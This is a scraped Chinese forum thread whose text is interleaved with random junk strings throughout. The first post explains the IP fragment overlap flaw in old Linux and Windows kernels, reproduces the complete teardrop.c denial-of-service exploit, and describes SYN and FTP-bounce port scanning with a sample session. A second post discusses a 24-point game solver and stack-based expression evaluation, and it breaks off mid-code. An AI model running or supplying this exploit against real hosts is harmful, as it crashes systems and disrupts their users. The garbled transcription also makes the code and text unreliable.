if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)+ W7 D! b3 ~; @0 ^$ t
{$ b) _- e2 ^# [8 Z% i
i = prev-&gt;end - offset;
5 N& @' F: p7 Y* U$ b' a1 v) Loffset += i; /* ptr into datagram */
) c# m2 p$ X1 O& fptr += i; /* ptr into fragment data */' l, _0 b$ {. ]' g: \
}</P><P>/* Fill in the structure. */3 I- ^+ g) A7 p% _; o6 B) S$ k
fp-&gt;offset = offset;; V( w2 r7 B! G# x6 U, A
fp-&gt;end = end;# _; I" o( T- h+ ]: ?2 Q
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
- Y( p! i1 {+ ]5 ]3 Y" Q; i第一个碎片:mf=1 offset=0 payload=20
/ W" S" W- m% ]3 D; s- d敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
$ f9 ?2 q4 m# @4 Hoffset=0
3 M  A" ]+ h! ?$ s这样第二个碎片的 end=9+10=19
9 P; q$ g2 ~5 ?8 S: O2 aoffset=offset+(20-offset)=20
% K& M2 h% ?& p5 P& k6 N+ {6 @fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>& W" U3 c/ M) s. |' q
/*. f0 r9 H' I4 L8 l0 _
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.978 W# R& ^6 b- \' V3 q
*1 P" v5 I8 ~3 D4 M) E5 R- u
* Linux/NT/95 Overlap frag bug exploit
7 Z+ w6 \$ g" V' D*
3 t  r0 b- W0 E( F0 P* E$ I* Exploits the overlapping IP fragment bug present in all Linux kernels and
+ J' }, l  V+ M2 z+ ], X3 i0 E- w* NT 4.0 / Windows 95 (others?)* U( s' @6 K+ s( M2 O- E* P# |# H
*) ]+ P) s: L! m' O& Z; x
* Based off of: flip.c by klepto* r3 W6 F& G& M6 o, b/ O0 f
* Compiles on: Linux, *BSD*8 [; K! K/ X* d# B; ^. l3 l' i
*" q  T9 e# {4 E) L. A
* gcc -O2 teardrop.c -o teardrop
2 v% j  w6 s; k+ ^- X* OR
& V7 `/ c; h0 S& j  a. g* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING' Y7 J' B. L0 Q. m' E
*/</P><P>#include <STDIO.H>
6 S! n+ I$ Z8 z1 e9 W  L5 k0 c#include <STDLIB.H>+ Q4 p$ D% e+ z* q: U& m
#include <UNISTD.H>
# {& p, F' I3 U5 q, w#include <STRING.H>
9 M2 i1 Q, U7 S0 C+ ^6 a+ n#include <NETDB.H>
2 w+ `0 m# h. B; U5 d+ M4 }6 L#include <NETINET in.h>' q6 j4 E% ^8 q% z& Q
#include <NETINET udp.h>& Q5 }# O. P# F- l3 a; ?2 C
#include <ARPA inet.h>6 l0 ^) P' [9 r$ r; Y1 j
#include <SYS types.h>5 @- i9 Q# S- @, `  }' }9 [
#include <SYS time.h>
, n, K& X' K" ^& X0 F  a& y: P$ @#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
4 n( i9 G9 B8 z4 o" f: @/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
8 u3 o" _" B/ F5 l$ l#define FIX(n) (n)
% `/ t0 b3 K2 `#else /* OpenBSD 2.1, all Linux */
7 M; N* J. o( a. s/ K2 T: E: v#define FIX(n) htons(n)$ y, d4 k/ ~# m
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */- D0 O3 ?9 T' P& ^) h: I, z+ S+ B# K
#define IPH 0x14 /* IP header size */
8 h. g+ R+ B1 U/ }#define UDPH 0x8 /* UDP header size */+ @- ?# k" Y" ?$ M7 l. C1 t
#define PADDING 0x1c /* datagram frame padding for first packet */) D, s) p/ J. L$ D2 Y* N
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */  \9 O9 w9 O$ a: L. p, H
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
# _- K: k& u* l3 G* withstand maybe 5 or 10 sometimes... Experiment.5 `% \+ J5 b0 m# [
*/</P><P>void usage(u_char *);
6 m. c8 f* E/ Fu_long name_resolve(u_char *);
) Y! k( i2 N% d; |u_short in_cksum(u_short *, int);& h$ m$ z7 H* O$ G+ e; t+ p
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
3 |0 F0 p  X! ^8 K) H5 W{5 `) x* Q/ C8 u, `" B. ]0 e
int one = 1,
% n7 w( A0 F, C) ^8 y# Ncount = 0,
% S' A( [3 S3 d. z* mi,
3 _$ y& O5 d+ ], c" h! [, frip_sock;
: c) Z. A: l2 T& g9 o( `7 ~u_long src_ip = 0, dst_ip = 0;7 d$ ^8 v/ Q$ a9 n6 e: B
u_short src_prt = 0, dst_prt = 0;
3 T+ g3 H& n9 ^3 _& h' Xstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW1 w$ e! v2 N8 X/ }
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)5 {: t3 W/ `& ~5 c3 P  m5 L# l
{1 f( p+ {: p" O$ T
perror("raw socket");
4 J4 P! G( R4 S" z! Q6 pexit(1);; F6 f# w! f- n/ n& n
}5 i: C  y7 y+ o2 U0 h  }3 _
//由系统处理IP校验和。. T: _2 |+ f/ r; L/ z
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
4 v0 N: |) d! |6 p: q$ q0 K&lt; 0)1 E1 g  O0 o4 e* Q' D  }
{# C! i6 X* S3 ?& A  g
perror("IP_HDRINCL");
7 u0 {  Q7 R6 xexit(1);
1 }- G7 D1 K" }3 j5 D# l) v$ A}</P><P>if (argc &lt; 3) usage(argv[0]);
# ]+ {. w* m) K) C2 L9 \if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))  C3 g( K1 y  B
{
9 ~4 l. |6 Q; E+ Ofprintf(stderr, "What the hell kind of IP address is that?\n");* ]3 i8 ~% W' J6 S' X
exit(1);" ]9 P6 W1 ^9 s9 `7 r5 t
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)  t, T+ O7 g' i1 h" I2 M% ?
{6 X: g4 d. f! c/ H' P* |  D3 G
switch (i)
" J6 o! _6 s" g( ]2 P: M1 c/ T$ E{
: m; e7 P( q8 q$ u) {+ Fcase 's': /* source port (should be emphemeral) */
& S2 C; q, `: }8 [) m, n0 _) R, `$ n" wsrc_prt = (u_short)atoi(optarg);% o. c$ T$ C0 d3 l* S5 ]
break;* C. Q  a( ]- i: D
case 't': /* dest port (DNS, anyone?) */: S5 `$ l0 k( a& u# \
dst_prt = (u_short)atoi(optarg);  }2 Q! D% C3 s0 D8 C$ s' O
break;* J. S! p# Y" Q; I8 S; h
case 'n': /* number to send */
9 C) M  y2 r- `+ w2 Qcount = atoi(optarg);
$ m; _- `+ {0 W  l$ ?( x. f/ Mbreak;
2 `; x+ Q% Q  ?6 Odefault :
& ^7 i1 r1 s3 E* |usage(argv[0]);
+ x) f  L  D8 R& y$ ?break; /* NOTREACHED */( k7 N! @- V6 p7 v" X6 H
}
% r! }2 c4 G5 _: _}</P><P>srandom((unsigned)(time((time_t)0)));
  h* N4 U6 _' r* Y# p% R0 qif (!src_prt) src_prt = (random() % 0xffff);
1 a8 A: D1 N2 ~  _9 V  s  tif (!dst_prt) dst_prt = (random() % 0xffff);
2 O/ a+ d% c% v. y6 A& q) m8 Cif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
% V4 ^1 Y/ j9 X$ W1 K& H4 Yaddr.s_addr = src_ip;; O/ U0 X  Y) }) A4 ?' g! i
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
( [. O/ [/ b' ?  a& B# Y5 Gaddr.s_addr = dst_ip;
- z& e7 S0 `3 t& ^0 n( }% e, m- {0 `' Dfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
& g8 z9 G1 I+ Y, z' e0 [fprintf(stderr, " Amt: %5d\n", count);$ t) y1 D/ g, R. n1 H1 B
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
' @5 _5 `5 \5 c& [{" m5 T5 Y0 ?- C2 B  a
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);) w, Y5 T* R1 f* [8 Y
fprintf(stderr, "b00m ");' o" P+ i- |8 z; f) k
usleep(500);+ q* `- Q+ t4 u: a
}- d) ~) n$ i6 |7 u' n/ @
fprintf(stderr, "]\n");, ^. C1 z% s9 H( _! s
return (0);8 w" J3 D" ~/ @" B0 J$ c
}</P><P>/*3 ~0 R- s7 Y2 r$ B' n! z) q; j$ l
* Send two IP fragments with pathological offsets. We use an implementation. n+ G8 L0 Z2 q
* independent way of assembling network packets that does not rely on any of: [$ x, v4 t0 l, C/ |8 K! f
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).2 u; o# b) u3 \  e+ V% i
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
* r2 O% I' |' s6 B7 }9 h/ k+ Gu_short dst_prt)  \8 C+ \9 y! T- e6 F8 F! D
{) ?8 E+ i8 @7 P! N2 J* n1 t# ?
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
, V4 p, S. U' g' Lu_char byte; /* a byte */* s& P# L# ^! N5 p7 p" o% \
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
' t2 W1 R2 ]" X1 Jsin.sin_port = src_prt;
1 \  e4 s  [- ^2 F: P" Rsin.sin_addr.s_addr = dst_ip;</P><P>/*
1 K5 D  q* A! \- X! e. G* Grab some memory for our packet, align p_ptr to point at the beginning
: ]3 ^5 d$ D- i# i/ [9 Z* of our packet, and then fill it with zeros.6 p" H3 w! O; C$ `/ }5 t  J9 e
*/6 B% H4 d) y' n% M  Y2 e: Z
packet = (u_char *)malloc(IPH + UDPH + PADDING);# b- ]: C% n' F! \$ V$ q
p_ptr = packet;3 O. D* g4 c: w8 d
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
/ i/ Y7 p! `3 m# V% u: qmemcpy(p_ptr, &amp;byte, sizeof(u_char));3 x7 ~4 p3 e, `
p_ptr += 2; /* IP TOS (skipped) */
# e$ x; S3 J$ y4 v+ D8 l1 ?' c*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
: S  W5 j; i1 D% L7 i# ~: np_ptr += 2;
9 t; m9 d3 r, w9 e9 T*((u_short *)p_ptr) = htons(242); /* IP id */# ~+ o- j- V3 l  E3 x# b
p_ptr += 2;
0 o" z  ~5 X$ _7 `( K*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
8 [' M* I* |0 I, z* k$ Q1 wp_ptr += 2;4 [$ C1 D. M" J* O8 n! j
*((u_short *)p_ptr) = 0x40; /* IP TTL */. v" ]7 `, B* Q# c  A
byte = IPPROTO_UDP;
% C5 e  b) R! u" V: _. G$ Smemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
4 Z% `% @5 P* A  k  \& up_ptr += 4; /* IP checksum filled in by kernel */
# L2 @" b+ J6 p*((u_long *)p_ptr) = src_ip; /* IP source address */+ @" |9 s  d0 J9 [
p_ptr += 4;
& e6 D3 R+ c; }+ Z9 s, E% q*((u_long *)p_ptr) = dst_ip; /* IP destination address */! Y' o9 z" \( f" U. F
p_ptr += 4;4 E# Y: b! h4 G
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
$ w9 ?( ^# j: m- J" M$ W8 ~4 @p_ptr += 2;0 I+ E% B4 q, ]) C% I* ?5 e
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */* M5 Q3 }+ \/ T( w+ A6 ~& U
p_ptr += 2;
$ O' U8 P  V  {% q+ w1 Z5 F*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
7 g- g, T6 V* x, M! Tsizeof(struct sockaddr)) == -1)
$ |+ r+ M- x( X) S; p, D4 @+ U' i{: h" t0 G- l1 p  w8 I
perror("\nsendto");- k6 C2 B( o8 A/ d: L
free(packet);
( M. \+ p4 Q" ]: X8 n0 aexit(1);7 O6 o! c3 X1 a; ^. z1 s
}</P><P>/* We set the fragment offset to be inside of the previous packet's
( u/ T9 Y$ v; `* payload (it overlaps inside the previous packet) but do not include& s, D5 R, ~- X$ }  A
* enough payload to cover complete the datagram. Just the header will0 a- K' t  G0 @, H# x/ {# N
* do, but to crash NT/95 machines, a bit larger of packet seems to work" C4 S  ]. E* |% W0 m7 K8 F
* better.% j8 |! R1 x! y! l1 ~
*// `1 g1 L1 w! ^" R) ?* V4 e
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */% ]- |. r* `5 p+ z) T
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);' }8 ^6 b5 W# @/ I6 q" g
p_ptr += 4; /* IP offset is 6 bytes into the header */. H0 ]  b1 X8 z3 J: d* b# o8 j
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,% l( R# T1 @' X
sizeof(struct sockaddr)) == -1)
2 @/ K3 p, f$ `0 e% a{
7 _/ E  \0 `) F! ~' hperror("\nsendto");
, u; z, u) f8 j1 B- x, n4 E. sfree(packet);
5 P9 S" u" |( }exit(1);% m+ J! ^5 C' A3 O( ^# g- A' T7 S% t
}
+ \: i$ g3 H2 Z8 y7 hfree(packet);
: P3 P9 ]* G7 c1 f8 D7 R2 z}</P><P>u_long name_resolve(u_char *host_name)
' P( h  Y7 I" s1 \{
" e2 |3 W$ Q/ ]0 pstruct in_addr addr;
1 ^( M9 g: q8 {' f+ mstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
+ P+ Y- C3 e( O. _$ D0 x{- l0 k/ A+ W2 U! P' O# l5 Q& m4 ?2 _
if (!(host_ent = gethostbyname(host_name))) return (0);$ E( o$ ?7 c" d3 E8 h$ y+ p! O9 U* f
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
# E$ n2 D# V: G' z% ~}" g8 n9 i7 q* v/ A* |" @7 t* A
return (addr.s_addr);& P" D$ m9 R+ D
}</P><P>void usage(u_char *name)' `: m8 u- ]" [  E0 |# J6 b- ]; }
{
. n# o8 U' f. p/ U+ |# [, @2 n( Ufprintf(stderr,6 c% b+ N6 R% Z- l& d
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",! N% f! v  `( p
name);6 }( W  b+ p9 v  L
exit(0);9 M0 p: |) W6 U/ Y. g
}</P><P>
0 }, l0 T' X6 {/ `2 p4 B4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
& g! P: J$ z9 K6 V$ Z(1) Half-open(半打开)
& k) H2 i( D, }; ]% _! K利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),; j7 U! R( g* m* m9 t5 D, p! Z7 |
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
8 \4 B# H7 W# H4 W利用了FTP的port命令,例如可以这样作:
% ~/ \/ X9 Q! F2 W选择一个FTP服务器,连上后令port命令指向目标机,如果返回
  J  m- }8 \1 a( {+ B+ X" m  i; T4 }值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
* O. C5 j* c2 u$ c* D' ?该端口无服务。# l% t3 s6 ~7 L$ V  [8 M* h2 ?4 e
telnet 192.168.1.13 21
, N  }" J& Z. _" H# f( [3 U$ yTrying 192.168.1.13.... P7 ~! F4 P0 }) ]
Connected to pp.bricks.org.
$ O4 x3 c" L# U! o* V% V0 m* EEscape character is '^]'.; P* `8 l; M6 y
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) 4 G* s- l7 c7 t5 z/ ^4 I( N) g
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous9 q- h. @5 u' O( p* Z+ `
331 Guest login ok, send your complete e-mail address as password.
7 a# C! C! h& `' i( Z1 L$ kpass aa@aa.aa; X0 `5 {4 s  K* d2 A
230 Guest login ok, access restrictions apply.8 ]) ?. l. W3 S
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
3 W; I- o- m/ g8 T. R3 T425 Can't build data connection: Connection refused.& d. {2 s! I! R9 T
//该端口未活动 0 e" y: ]& _( P4 V/ D; e
150 Opening ASCII mode data connection for file list.
' @2 m: {, O8 }226 Transfer complete.  q6 Q1 F- r: ?8 s
//该端口活动中, ]& W0 ]& B6 ]3 c
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
: q$ h7 I+ {1 y1 Q0 `3 \SYN|FIN ACK or SYN|ACK* RST
/ K+ w( U: \- x; eACK Nothing RST; V. e) b& C6 R9 X' D8 P) C
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
: I8 c5 n5 F- d一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,. Q+ ?' `1 v9 ^& U0 u: K; q
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
6 m7 N2 S/ G/ ]2 J定它在向你做portscan。</P><P>notes:
: [' C) D. Q! _% _( ?5 p- [早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),% g1 Q  e/ ?, o. y- a8 ~
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的# m5 A6 K) v* N$ b
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>5 U# f  p; u4 A( X2 J# U
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
- u- Y) l, n+ l" r' r  K/ v0 b# ]8 }: r) l6 T
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 ( Z+ d1 \' T2 J6 M( U: ?5 k
首先穷举的可行性问题。我把表达式如下分成三类——
, }; h! }6 x5 E* i8 T<FONT color=#ff0000>1、 无括号的简单表达式。
/ @! X$ ~! K! B) s5 [2、 有一个括号的简单表达式。" J& G% M' @0 _7 M$ {/ b
3、 有两个括号的较复4、 杂表达式。8 f# S# ~% X8 m% {2 X" R9 t
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
9 v8 y& _7 K7 ^8 S<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
, Y" L2 I7 g9 B. k3 [/* c[] 存放四张牌的数组 */
. O! e5 s7 s7 h- i) r8 q/* k[] c[]种四张牌的代号,其中k[I]=I+1。
6 u9 F* v9 e" g; }/ p  M& I+ L; z用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */$ @! q5 l  m7 s
/* kans[] 暂存生成的排列组合 */6 \; Y* @+ J: R2 x
/* j 嵌套循环的次数 */
: R% |$ F9 S( o; K3 d4 d2 Rint fans(c,k,ans,kans,j)
5 L# c% C9 h0 Uint j,k[],c[];char ans[],kans[];. z6 S0 ]- N  n" i8 C3 q, u4 A
{ int i,p,q,r,h,flag,s[4],t[4][4];& N5 i! K& ?" r$ X$ I
for(p=0,q=0;p&lt;4;p++). D; f5 L/ e# y7 Q) q
{ for(r=0,flag=0;r<J;R++)
5 S7 s/ }7 i1 ^+ Z8 ]' T if(k[p]!=kans[r]) flag++;: f) L& b* J5 D4 S) o
if(flag==j) t[j][q++]=k[p];6 H- t+ M/ @( B. U) i5 x, @
}
* ?) ~1 q% s( Wfor(s[j]=0;s[j]&lt;4-j;s[j]++)
% g) y: ~; w' M9 ^' q- g{ kans[j]=t[j][s[j]];
2 S" ^8 {  U6 k/ l  Cif(j==3) { for(h=0;h&lt;4;h++)
. ~& y' d, ^+ Z+ yans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
9 Z5 c, m) h0 G达式中的位置 */
% d1 m) o0 L! G, d" c* X/ Lfor(h=0;h&lt;3;h++)* z- \$ A4 \7 P* O- J
symbol(ans,h); /* 在表达式中添加运算符号 */7 J0 X' [4 m. j! s
}* b5 @6 V) u9 e3 t. S* ^
else { j++;) V) j! r+ w2 C: l2 u, x; z
fans(c,k,ans,kans,j);1 S$ S* _6 F# m8 B/ t
j--;4 f% b: |3 }! t( P: C, b4 b
}6 ]+ A7 H. y3 f
}; ?; E) P7 i; p' F6 z0 D
}</FONT>
) i+ K( D+ W  h; P; s* y7 l; X( ~6 J
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:$ q( _- J3 a- e% n
( ]0 ~* P, E6 C* l1 V
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/8 O- m- y: `( F) A
int sans(ans,sy,j,h)
9 X+ u6 D5 C2 \0 `- I, ^, Jchar ans[],sy[];int j,h;% |0 [0 W$ j6 i9 _
{ int i,p,k[3],m,n; char ktans[20];, T1 N" {" H( H1 t' v4 I9 t5 k
for(k[j]=0;k[j]&lt;4;k[j]++)- M' z; N- e0 C* l
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
" |! C$ H6 ?  D) N: j+ p这里的三个运算符号分别存放在1、3、5位*/
( [6 R$ |1 A) o' g9 D$ ~if(j==2)
) J/ }3 U. o( W! Q" j{ ans[5]=sy[k[j]];. F7 N: r  x8 H) v% K
/* 此处根据不同的表达式形式再进行相应的处理 */1 i# A! H4 e2 k0 Z
}
( b/ A3 ^4 P* r0 Oelse { j++; sans(ans,sy,j--,h); }
" S/ m% [# L  h8 J8 U}, m6 j. r/ N: p8 F0 ]7 k
}
# S/ x! A2 `5 G7 G# O7 j  J. ~- l$ L- s, N: H; Z6 m
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
  i! _% X" F! n1 o& f0 i. {. w* E0 Pfor(m=0;m&lt;=4;m+=2), Y& x" e* u  h& f# Y8 j
for(n=m+4;n&lt;=8;n+=2)
; o( y+ W' q3 m& S1 J& M  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
8 I' h4 D, y2 O0 p& b1 r
! J! g. J. w! x" U: z  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。1 f9 `$ [( N* m) m* }) o- g
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
4 H: L$ A& j6 F, t在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
3 y1 O; w5 F" M; [& `1 O2 f/ O9 d4 s# w) c6 {. Q# @$ Y
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。, w3 v2 R) t% [9 w( I  u- M

& {+ L, a# m& r- [8 r  那么作为栈的著名应用,表达式的计算可以有两种方法。
" ^, `  R6 a8 x' A* F: d9 @4 E8 h& x  G  Q/ ^' z+ G0 g  y
  <FONT color=#ff0000>第一种方法——</FONT>$ \# }6 }3 t- t! Y& |
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
6 F2 E" |( z5 R4 C; C7 n. `  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
  K7 ]( K4 b3 E- S: X! y1、 若W为操作数8 h& Z7 _* P+ j- o. e
2、 则将W压入操作数栈OVS  m  \  Y5 @) @  u
3、 且继续扫描下一个字符3 f% J" o$ g0 Q; k; y1 `
4、 若W为运算符- [; K; M) j, D" I% m- ^
5、 则根据运算符的性质做相应的处理:0 w0 ^6 r, o( g/ Q+ h  V( F
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。3 c' B  Y" v+ l5 ~
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。* L6 p$ n4 L4 q8 a
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。! _9 r6 {  {" H4 e5 F
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。5 d2 C$ v- |. L1 [* s
) \( X! f1 d: [
<FONT color=#ff0000>  第二种方法——</FONT>  U! \, p" v% u% [0 D
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。- ~; `3 A" x6 F7 U  Z
, u! ~* v& Q$ u+ x+ V$ I
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
3 d4 a$ x+ ^7 |; t3 R7 b/ L1 |" y& f& m
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。8 H/ h( v& r, N8 O; H
表达式 波兰表达式: L# l, m; g: B& g& x' [
A-B AB-" j) v/ H$ B( X' d0 o
(A-B)*C+D AB-C*D+
( V! k! O/ e8 l0 j  XA*(B+C/D)-E*F ABCD/+*EF*-$ L- O0 Y% D+ Q5 P7 z8 T, B
(B+C)/(A-D) BC+AD-/4 T7 U2 q8 S4 {: J

! s8 m7 M! G. B9 B8 j& j8 ]# M" q+ I* X  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。7 o: I9 b! T4 \+ `3 Q* M
. D; Q7 q* O4 K# p$ t! x
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
7 B0 {, A* F; h& i) G6 _9 U9 V) y) ]- j$ D' z7 m2 z
  下面给出转换和计算的具体实现程序——
- m! n( @1 K/ v; |. z- q0 \! P$ l
1 S8 s3 w, T0 T2 s. Z- y<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */0 p3 N! X# K8 Y6 H; Z: _% B" L
int first(char c)# Q/ U% H$ w" Y! k/ s
{ int p;
7 I* g$ \2 F* Z% U! B" F5 h4 Nswitch(c)
$ v% w! z/ E7 P( v/ [4 s$ `{ case '*': p=2; break;
